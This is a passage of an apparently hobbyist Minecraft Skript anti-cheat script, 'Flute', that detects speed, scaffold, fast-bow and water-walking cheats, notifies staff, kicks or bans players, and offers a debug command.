- set {_x2} to x-coordinates of player
- set {_z2} to z-coordinates of player
- set {_loc2} to location of player
- if {_y1} = {_y2}:
- if {_loc} = {_loc2}:
- stop
- else:
- if difference between {_x2} and {_x1} is less than 1:
- if difference between {_z2} and {_z1} is less than 1:
- stop
- if difference between {_z2} and {_z1} is less than 1:
- if difference between {_x2} and {_x1} is less than 1:
- stop
- else:
- add 1 to {jesus.%player%}
- if {t.jesus.lastcheck} is not set:
- set {t.jesus.lastcheck} to now
- set {_p} to player's ping
- if difference between now and {t.jesus.lastcheck} is higher than 1.5 seconds:
- loop all players:
- if loop-player has permission "Flute.notify":
- if {recieve.%loop-player%} is true:
- set {t.jesus.lastcheck} to now
- send "%{logo}% %{maincolor3}%%player% %{maincolor2}%(%{maincolor1}%Jesus%{maincolor2}%) %{maincolor2}%(%{maincolor1}%%{fly.%player%}%Lv%{maincolor2}%) (%{maincolor1}%Ping: %{_p}%%{maincolor2}%)" to loop-player
- if {jesus.%player%} > 10:
- remove 5 from {jesus.%player%}
- kick player due to "%{logo}% %{maincolor1}%Jesus &ais not allowed!%new line%&cPlease turn off your hacks before re-login!%new line%%new line%%{banmsg3}%"
- #=======================================================
- # Flute | Anti-Cheat =
- # Fast Bow =
- #=======================================================
- on shoot:
- if {flute.fastbow} is true:
- set {_mp} to {maxping} parsed as number
- if shooter's ping < {_mp}:
- if shooter doesn't have permission "flute.bypass":
- if shooter's tool is bow:
- if {shot.%shooter%} is not set:
- set {shot.%shooter%} to now
- stop
- else:
- set {_seconds} to {fastbowticks} parsed as number
- set {_p} to shooter's ping
- set {_justshot} to difference between {shot.%shooter%} and now
- if difference between {shot.%shooter%} and now is less than 0.12 seconds:
- add 1 to {fastbow.%shooter%}
- cancel event
- loop all players:
- if loop-player has permission "Flute.notify":
- if {recieve.%loop-player%} is true:
- send "%{logo}% %{maincolor3}%%shooter% %{maincolor2}%(%{maincolor1}%Fast Bow%{maincolor2}%) %{maincolor2}%(%{maincolor1}%%{fastbow.%shooter%}%Lv%{maincolor2}%) (%{maincolor1}%Ping: %{_p}%%{maincolor2}%)" to loop-player
- clear {shot.%shooter%}
- on shoot:
- if {flute.debug.mode} is true:
- if shooter's name is "GotPower":
- if shooter's tool is bow:
- if {shottest.%shooter%} is not set:
- set {shottest.%shooter%} to now
- else:
- set {_dif} to difference between now and {shottest.%shooter%}
- broadcast "%{_dif}%"
- clear {shottest.%shooter%}
- stop
- #=======================================================
- # Flute | Anti-Cheat =
- # Bunny Hop/Speed =
- #=======================================================
- on any movement:
- if {flute.bhp} is true:
- set {_mp} to {maxping} parsed as number
- if player's ping < {_mp}:
- if player is not riding:
- if player doesn't have permission "flute.bypass":
- if player's gamemode is survival or adventure:
- if player's flight mode is false:
- if player has speed:
- stop
- else:
- set {_blocks} to {speedblocks} parsed as number
- if block under player is not air:
- set {speed.tp.%player%} to true
- set {_bhp1x} to x-coordinates of player
- wait 1 second
- set {_bhp2x} to x-coordinates of player
- wait 1 tick
- if {speed.tp.%player%} is not set:
- stop
- else:
- if block under player is not ice:
- if {t.bhp.lastcheck} is not set:
- set {t.bhp.lastcheck} to now
- set {_t} to difference between {_bhp1x} and {_bhp2x}
- set {_t2} to difference between {_bhp1y} and {_bhp2y}
- if {_t} > {_blocks}:
- add 1 to {bhp.%player%}
- set {_p} to player's ping
- clear {speed.tp.%player%}
- if difference between now and {t.bhp.lastcheck} is higher than 3 seconds:
- loop all players:
- if loop-player has permission "Flute.notify":
- if {recieve.%loop-player%} is true:
- set {t.bhp.lastcheck} to now
- send "%{logo}% %{maincolor3}%%player% %{maincolor2}%(%{maincolor1}%Speed%{maincolor2}%) %{maincolor2}%(%{maincolor1}%Lv%{bhp.%player%}%%{maincolor2}%) (%{maincolor1}%8+ Blocks/s%{maincolor2}%) (%{maincolor1}%Ping: %{_p}%%{maincolor2}%)" to loop-player
- if {_2} > {_blocks}:
- add 1 to {bhp.%player%}
- set {_p} to player's ping
- if difference between now and {t.bhp.lastcheck} is higher than 3 seconds:
- loop all players:
- if loop-player has permission "Flute.notify":
- if {recieve.%loop-player%} is true:
- set {t.bhp.lastcheck} to now
- send "%{logo}% %{maincolor3}%%player% %{maincolor2}%(%{maincolor1}%Speed%{maincolor2}%) %{maincolor2}%(%{maincolor1}%Lv%{bhp.%player%}%%{maincolor2}%) (%{maincolor1}%8+ Blocks/s%{maincolor2}%) (%{maincolor1}%Ping: %{_p}%%{maincolor2}%)" to loop-player
- if {bhp.%player%} > 30:
- remove 10 from {bhp.%player%}
- kick player due to "%{logo}% %{maincolor1}%Speed &ais not allowed!%new line%&cPlease turn off your hacks before re-login!%new line%%new line%%{banmsg3}%"
- on teleport:
- if {speed.tp.%player%} is true:
- clear {speed.tp.%player%}
- stop
- #=======================================================
- # Flute | Anti-Cheat =
- # Phase =
- #=======================================================
- #=======================================================
- # Flute | Anti-Cheat =
- # Scaffold / Tower =
- #=======================================================
- # Tower
- on place:
- if {flute.tower} is true:
- set {_mp} to {maxping} parsed as number
- if player's ping < {_mp}:
- player's gamemode is not creative
- if block 1 above target block is air:
- if block 1 below target block is set:
- block 1 south 2 below target block is air
- block 1 west 2 below target block is air
- block 1 north 2 below target block is air
- block 1 east 2 below target block is air
- block 1 south 1 below target block is air
- block 1 west 1 below target block is air
- block 1 north 1 below target block is air
- block 1 east 1 below target block is air
- add 1 to {sfw.%player%}
- if {sfw.%player%} > 3:
- cancel event
- set {_p} to player's ping
- loop all players:
- if loop-player has permission "Flute.notify":
- send "%{logo}% %{maincolor3}%%player% %{maincolor2}%(%{maincolor1}%Tower%{maincolor2}%) %{maincolor2}%(%{maincolor1}%Lv%{sfw.%player%}%%{maincolor2}%) (%{maincolor1}%Ping: %{_p}%%{maincolor2}%)" to loop-player
- if {sfw.%player%} > 6:
- remove 2 from {sfw.%player%}
- kick player due to "%{logo}% %{maincolor1}%Tower/Scaffold &ais not allowed!%new line%&cPlease turn off your hacks before re-login!%new line%%new line%%{banmsg3}%"
- wait 1.1 seconds
- remove 1 from {sfw.%player%}
- # Scaffold Walk
- on place:
- if {flute.scaffold} is true:
- set {_mp} to {maxping} parsed as number
- if player's ping < {_mp}:
- player's gamemode is not creative
- if block 1 above target block is air:
- block 1 below is not set
- if block 1 south target block is set:
- block 1 west target block is air
- block 1 north target block is air
- block 1 east target block is air
- add 1 to {sfw2.%player%}
- if {sfw2.%player%} > 2:
- set {_p} to player's ping
- loop all players:
- if loop-player has permission "Flute.notify":
- send "%{logo}% %{maincolor3}%%player% %{maincolor2}%(%{maincolor1}%Scaffold%{maincolor2}%) %{maincolor2}%(%{maincolor1}%Lv%{sfw2.%player%}%%{maincolor2}%) (%{maincolor1}%Ping: %{_p}%%{maincolor2}%)" to loop-player
- if {sfw2.%player%} > 6:
- remove 2 from {sfw.%player%}
- kick player due to "%{logo}% %{maincolor1}%Tower/Scaffold &ais not allowed!%new line%&cPlease turn off your hacks before re-login!%new line%%new line%%{banmsg3}%"
- wait 1.5 seconds
- remove 1 from {sfw2.%player%}
- stop
- if block 1 west target block is set:
- block 1 north target block is air
- block 1 east target block is air
- block 1 south target block is air
- add 1 to {sfw2.%player%}
- if {sfw2.%player%} > 2:
- set {_p} to player's ping
- loop all players:
- if loop-player has permission "Flute.notify":
- send "%{logo}% %{maincolor3}%%player% %{maincolor2}%(%{maincolor1}%Scaffold%{maincolor2}%) %{maincolor2}%(%{maincolor1}%Lv%{sfw2.%player%}%%{maincolor2}%) (%{maincolor1}%Ping: %{_p}%%{maincolor2}%)" to loop-player
- if {sfw2.%player%} > 6:
- remove 2 from {sfw.%player%}
- kick player due to "%{logo}% %{maincolor1}%Tower/Scaffold &ais not allowed!%new line%&cPlease turn off your hacks before re-login!%new line%%new line%%{banmsg3}%"
- wait 1.5 seconds
- remove 1 from {sfw2.%player%}
- stop
- if block 1 north target block is set:
- block 1 east target block is air
- block 1 south target block is air
- block 1 west target block is air
- add 1 to {sfw2.%player%}
- if {sfw2.%player%} > 2:
- set {_p} to player's ping
- loop all players:
- if loop-player has permission "Flute.notify":
- send "%{logo}% %{maincolor3}%%player% %{maincolor2}%(%{maincolor1}%Scaffold%{maincolor2}%) %{maincolor2}%(%{maincolor1}%Lv%{sfw2.%player%}%%{maincolor2}%) (%{maincolor1}%Ping: %{_p}%%{maincolor2}%)" to loop-player
- if {sfw2.%player%} > 6:
- remove 2 from {sfw.%player%}
- kick player due to "%{logo}% %{maincolor1}%Tower/Scaffold &ais not allowed!%new line%&cPlease turn off your hacks before re-login!%new line%%new line%%{banmsg3}%"
- wait 1.5 seconds
- remove 1 from {sfw2.%player%}
- stop
- if block 1 east target block is set:
- block 1 south target block is air
- block 1 west target block is air
- block 1 north target block is air
- add 1 to {sfw2.%player%}
- if {sfw2.%player%} > 2:
- set {_p} to player's ping
- loop all players:
- if loop-player has permission "Flute.notify":
- send "%{logo}% %{maincolor3}%%player% %{maincolor2}%(%{maincolor1}%Scaffold%{maincolor2}%) %{maincolor2}%(%{maincolor1}%Lv%{sfw2.%player%}%%{maincolor2}%) (%{maincolor1}%Ping: %{_p}%%{maincolor2}%)" to loop-player
- if {sfw2.%player%} > 6:
- remove 2 from {sfw.%player%}
- kick player due to "%{logo}% %{maincolor1}%Tower/Scaffold &ais not allowed!%new line%&cPlease turn off your hacks before re-login!%new line%%new line%%{banmsg3}%"
- wait 1.5 seconds
- remove 1 from {sfw2.%player%}
- stop
- else:
- stop
- #==============================================
- #=======================================================
- # Flute | Anti-Cheat =
- # Ban Waves =
- #=======================================================
- on join:
- if {banned.%player%} is true:
- set join message to ""
- kick player due to "%{banmsg}%"
- stop
- on quit:
- if {banned.%player%} is true:
- set quit message to ""
- stop
- every 10 seconds:
- if {flute.bantype} = "banwave":
- loop all players:
- set {_ka} to {kachecks} parsed as number
- set {_akb} to {antikbchecks} parsed as number
- set {_sneak} to {sneakchecks} parsed as number
- set {_fp} to {fastplacechecks} parsed as number
- set {_fb} to {fastbreakchecks} parsed as number
- set {_fastbow} to {fastbowchecks} parsed as number
- set {_fly} to {flychecks} parsed as number
- set {_jesus} to {jesuschecks} parsed as number
- set {_phase} to {phasechecks} parsed as number
- set {_autoclicker} to {autoclickerchecks} parsed as number
- set {_speed} to {speedchecks} parsed as number
- set {_multi} to {multiaurachecks} parsed as number
- set {_scaffold} to {scaffoldchecks} parsed as number
- set {_tower} to {towerchecks} parsed as number
- if {flute.killaura.ban} is true:
- if {killaura.%loop-player%} is greater than or equal to {_ka}:
- execute console command "Flute tban %loop-player% KillAura"
- if {flute.multiaura.ban} is true:
- if {multiaura.%loop-player%} is greater than or equal to {_multi}:
- execute console command "Flute tban %loop-player% MultiAura"
- if {flute.fastbow.ban} is true:
- if {fastbow.%loop-player%} is greater than or equal to {_fastbow}:
- execute console command "Flute tban %loop-player% FastBow"
- if {flute.antikb.ban} is true:
- if {antikb.%loop-player%} is greater than or equal to {_akb}:
- execute console command "Flute tban %loop-player% AntiKB"
- if {flute.sneak.ban} is true:
- if {sneak.%loop-player%} is greater than or equal to {_sneak}:
- execute console command "Flute tban %loop-player% AutoSneak"
- if {flute.fastplace.ban} is true:
- if {fastplace.%loop-player%} is greater than or equal to {_fp}:
- execute console command "Flute tban %loop-player% FastPlace"
- if {flute.fastbreak.ban} is true:
- if {fastbreak.%loop-player%} is greater than or equal to {_fb}:
- execute console command "Flute tban %loop-player% FastBreak"
- if {flute.fly.ban} is true:
- if {fly.%loop-player%} is greater than or equal to {_fly}:
- execute console command "Flute tban %loop-player% Fly"
- if {flute.jesus.ban} is true:
- if {jesus.%loop-player%} is greater than or equal to {_jesus}:
- execute console command "Flute tban %loop-player% Jesus"
- if {flute.phase.ban} is true:
- if {phase.%loop-player%} is greater than or equal to {_phase}:
- execute console command "Flute tban %loop-player% Phase"
- if {flute.autoclicker.ban} is true:
- if {autoclicker.%loop-player%} is greater than or equal to {_autoclicker}:
- execute console command "Flute tban %loop-player% AutoClicker/FastClicker"
- if {flute.speed.ban} is true:
- if {speed.%loop-player%} is greater than or equal to {_speed}:
- execute console command "Flute tban %loop-player% Speed/BHop"
- if {flute.scaffold.ban} is true:
- if {speed.%loop-player%} is greater than or equal to {_scaffold}:
- execute console command "Flute tban %loop-player% Tower/Scaffold-Walk"
- if {flute.tower.ban} is true:
- if {speed.%loop-player%} is greater than or equal to {_tower}:
- execute console command "Flute tban %loop-player% Tower/ScaffoldWalk"
- if {flute.bantype} = "info":
- loop all players:
- set {_ka} to {kachecks} parsed as number
- set {_akb} to {antikbchecks} parsed as number
- set {_sneak} to {sneakchecks} parsed as number
- set {_fp} to {fastplacechecks} parsed as number
- set {_fb} to {fastbreakchecks} parsed as number
- set {_fastbow} to {fastbowchecks} parsed as number
- set {_fly} to {flychecks} parsed as number
- set {_jesus} to {jesuschecks} parsed as number
- set {_phase} to {phasechecks} parsed as number
- set {_autoclicker} to {autoclickerchecks} parsed as number
- set {_speed} to {speedchecks} parsed as number
- set {_multi} to {multiaurachecks} parsed as number
- set {_tower} to {towerchecks} parsed as number
- set {_scaffold} to {multiaurachecks} parsed as number
- if {flute.killaura.ban} is true:
- if {killaura.%loop-player-1%} is greater than or equal to {_ka}:
- loop all players:
- if loop-player-2 has permission "Flute.notify":
- if {recieve.%loop-player-2%} is true:
- send "%{logo}% %{maincolor3}%%loop-player-1% %{maincolor2}%(%{maincolor3}%Most likely hacking: %{maincolor3}%KillAura%{maincolor2}%)" to loop-player-2
- clear {killaura.%loop-player-1%}
- if {flute.multiaura.ban} is true:
- if {multiaura.%loop-player-1%} is greater than or equal to {_multi}:
- loop all players:
- if loop-player-2 has permission "Flute.notify":
- if {recieve.%loop-player-2%} is true:
- send "%{logo}% %{maincolor3}%%loop-player-1% %{maincolor2}%(%{maincolor3}%Most likely hacking: %{maincolor3}%MultiAura%{maincolor2}%)" to loop-player-2
- clear {multiaura.%loop-player-1%}
- if {flute.fastbow.ban} is true:
- if {fastbow.%loop-player-1%} is greater than or equal to {_fastbow}:
- loop all players:
- if loop-player-2 has permission "Flute.notify":
- if {recieve.%loop-player-2%} is true:
- send "%{logo}% %{maincolor3}%%loop-player-1% %{maincolor2}%(%{maincolor3}%Most likely hacking: %{maincolor3}%FastAura%{maincolor2}%)" to loop-player-2
- clear {fastbow.%loop-player-1%}
- if {flute.antikb.ban} is true:
- if {antikb.%loop-player-1%} is greater than or equal to {_akb}:
- loop all players:
- if loop-player-2 has permission "Flute.notify":
- if {recieve.%loop-player-2%} is true:
- send "%{logo}% %{maincolor3}%%loop-player-1% %{maincolor2}%(%{maincolor3}%Most likely hacking: %{maincolor3}%AntiKB%{maincolor2}%)" to loop-player-2
- clear {antikb.%loop-player-1%}
- if {flute.sneak.ban} is true:
- if {sneak.%loop-player-1%} is greater than or equal to {_sneak}:
- loop all players:
- if loop-player-2 has permission "Flute.notify":
- if {recieve.%loop-player-2%} is true:
- send "%{logo}% %{maincolor3}%%loop-player-1% %{maincolor2}%(%{maincolor3}%Most likely hacking: %{maincolor3}%AutoSneak%{maincolor2}%)" to loop-player-2
- clear {sneak.%loop-player-1%}
- if {flute.fastplace.ban} is true:
- if {fastplace.%loop-player-1%} is greater than or equal to {_fp}:
- loop all players:
- if loop-player-2 has permission "Flute.notify":
- if {recieve.%loop-player-2%} is true:
- send "%{logo}% %{maincolor3}%%loop-player-1% %{maincolor2}%(%{maincolor3}%Most likely hacking: %{maincolor3}%FastPlace%{maincolor2}%)" to loop-player-2
- clear {fastplace.%loop-player-1%}
- if {flute.fastbreak.ban} is true:
- if {fastbreak.%loop-player-1%} is greater than or equal to {_fb}:
- loop all players:
- if loop-player-2 has permission "Flute.notify":
- if {recieve.%loop-player-2%} is true:
- send "%{logo}% %{maincolor3}%%loop-player-1% %{maincolor2}%(%{maincolor3}%Most likely hacking: %{maincolor3}%FastBreak%{maincolor2}%)" to loop-player-2
- clear {fastbreak.%loop-player-1%}
- if {flute.fly.ban} is true:
- if {fly.%loop-player-1%} is greater than or equal to {_fly}:
- loop all players:
- if loop-player-2 has permission "Flute.notify":
- if {recieve.%loop-player-2%} is true:
- send "%{logo}% %{maincolor3}%%loop-player-1% %{maincolor2}%(%{maincolor3}%Most likely hacking: %{maincolor3}%Fly%{maincolor2}%)" to loop-player-2
- clear {fly.%loop-player-1%}
- if {flute.jesus.ban} is true:
- if {jesus.%loop-player-1%} is greater than or equal to {_jesus}:
- loop all players:
- if loop-player-2 has permission "Flute.notify":
- if {recieve.%loop-player-2%} is true:
- send "%{logo}% %{maincolor3}%%loop-player-1% %{maincolor2}%(%{maincolor3}%Most likely hacking: %{maincolor3}%Jesus%{maincolor2}%)" to loop-player-2
- clear {jesus.%loop-player-1%}
- if {flute.phase.ban} is true:
- if {phase.%loop-player-1%} is greater than or equal to {_phase}:
- loop all players:
- if loop-player-2 has permission "Flute.notify":
- if {recieve.%loop-player-2%} is true:
- send "%{logo}% %{maincolor3}%%loop-player-1% %{maincolor2}%(%{maincolor3}%Most likely hacking: %{maincolor3}%Phase%{maincolor2}%)" to loop-player-2
- clear {phase.%loop-player-1%}
- if {flute.autoclicker.ban} is true:
- if {autoclicker.%loop-player-1%} is greater than or equal to {_autoclicker}:
- loop all players:
- if loop-player-2 has permission "Flute.notify":
- if {recieve.%loop-player-2%} is true:
- send "%{logo}% %{maincolor3}%%loop-player-1% %{maincolor2}%(%{maincolor3}%Most likely hacking: %{maincolor3}%FastClick%{maincolor2}%)" to loop-player-2
- clear {autoclicker.%loop-player-1%}
- if {flute.speed.ban} is true:
- if {speed.%loop-player-1%} is greater than or equal to {_speed}:
- loop all players:
- if loop-player-2 has permission "Flute.notify":
- if {recieve.%loop-player-2%} is true:
- send "%{logo}% %{maincolor3}%%loop-player-1% %{maincolor2}%(%{maincolor3}%Most likely hacking: %{maincolor3}%Speed%{maincolor2}%)" to loop-player-2
- clear {speed.%loop-player-1%}
- #=======================================================
- # Flute | Anti-Cheat =
- # Debug CMD =
- #=======================================================
- command /tdebug [<text>] [<text>] [<text>]:
- trigger:
- if player has permission "flute.debug":
- if {flute.debug.mode} = true:
- if arg 1 is not set:
- message "&f-------------------"
- message "&f/tdebug addpoints"
- message "&f/tdebug hits"
- message "&f/tdebug bow"
- message "&f-------------------"
- if arg 1 is "help":
- message "&f-------------------"
- message "&f/tdebug addpoints"
- message "&f/tdebug hits"
- message "&f/tdebug bow"
- message "&f-------------------"
- if arg 1 is "hits":
- if {flute.debug.hits.msg} is not set:
- set {flute.debug.hits.msg} to true
- message "&f[TDEBUG]: Turning hit debug &aon&f..."
- stop
- else:
- clear {flute.debug.hits.msg}
- message "&f[TDEBUG]: Turning hit debug &coff&f..."
- stop
- if arg 1 is "bow":
- if {flute.debug.bow.msg} is not set:
- set {flute.debug.bow.msg} to true
- message "&f[TDEBUG]: Turning bow debug &aon&f..."
- stop
- else:
- clear {flute.debug.bow.msg}
- message "&f[TDEBUG]: Turning bow debug &coff&f..."
- stop
- if arg 1 is "addpoints":
- if arg 2 is not set:
- message "&f/tdebug addpoints [feature] [points]"
- message "&fka, fb, akb, fly, jesus, tower, scaffold"
- stop
- if arg 2 is "ka":
- if arg 3 is set:
- add arg 3 to {killaura.%player%}
- message "&f[TDEBUG]: points added..."
- stop
- else:
- message "&f/tdebug addpoints [feature] [points]"
- message "&fka, fb, akb, fly, jesus, tower, scaffold"
- stop
- if arg 2 is "fb":
- if arg 3 is set:
- add arg 3 to {fastbow.%player%}
- message "&f[TDEBUG]: points added..."
- stop
- else:
- message "&f/tdebug addpoints [feature] [points]"
- message "&fka, fb, akb, fly, jesus, tower, scaffold"
- stop
- if arg 2 is "akb":
- if arg 3 is set:
- add arg 3 to {antikb.%player%}
- message "&f[TDEBUG]: points added..."
- stop
- else:
- message "&f/tdebug addpoints [feature] [points]"
- message "&fka, fb, akb, fly, jesus, tower, scaffold"
- stop
- if arg 2 is "fly":
- if arg 3 is set:
- add arg 3 to {fly.%player%}
- message "&f[TDEBUG]: points added..."
- stop
- else:
- message "&f/tdebug addpoints [feature] [points]"
- message "&fka, fb, akb, fly, jesus, tower, scaffold"
- stop
- if arg 2 is "jesus":
- if arg 3 is set:
- add arg 3 to {jesus.%player%}
- message "&f[TDEBUG]: points added..."
- stop
- else:
- message "&f/tdebug addpoints [feature] [points]"
- message "&fka, fb, akb, fly, jesus, tower, scaffold"
- stop
- if arg 2 is "tower":
- if arg 3 is set:
- add arg 3 to {sfw.%player%}
- message "&f[TDEBUG]: points added..."
- stop
- else:
- message "&f/tdebug addpoints [feature] [points]"
- message "&fka, fb, akb, fly, jesus, tower, scaffold"
- stop
- if arg 2 is "scaffold":
- if arg 3 is set:
- add arg 3 to {sfw2.%player%}
- message "&f[TDEBUG]: points added..."
- stop
- else:
- message "&f/tdebug addpoints [feature] [points]"
- message "&fka, fb, akb, fly, jesus, tower, scaffold"
- stop
- else:
- message "%{logo}% &fFlute DEBUG mode is &cnot &factivated..."
- message "&7Please use /Flute debug on"
- stop
- else:
- message "%{logo}% &fDEBUG Permission &cDENIED"
- stop
- on damage:
- if {flute.debug.hits.msg} is true:
- if attacker is a player:
- if damage cause is not projectile:
- if distance between attacker and victim is higher than or equal to 5:
- set {_dist} to distance between attacker and victim
- set {_damage} to damage
- set {_tool} to attacker's tool
- loop all players:
- if loop-player has permission "flute.notify":
- if {recieve.%loop-player%} is true:
- send "&f[TDEBUG]: &c%attacker%" to loop-player
- send " &fDistance: &c%{_dist}%" to loop-player
- send " &fTool: &c%{_tool}%" to loop-player
- send " &fDamage:: &c%{_damage}%" to loop-player
- on damage:
- if {flute.debug.bow.msg} is true:
- if attacker is a player:
- if damage cause is projectile:
- if distance between attacker and victim is higher than or equal to 5:
- set {_dist} to distance between attacker and victim
- set {_damage} to damage
- set {_tool} to attacker's tool
- loop all players:
- if loop-player has permission "flute.notify":
- if {recieve.%loop-player%} is true:
- send "&f[TDEBUG]: &c%attacker%" to loop-player
- send " &fDistance: &c%{_dist}%" to loop-player
- send " &fTool: &c%{_tool}%" to loop-player
- send " &fDamage:: &c%{_damage}%" to loop-player
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement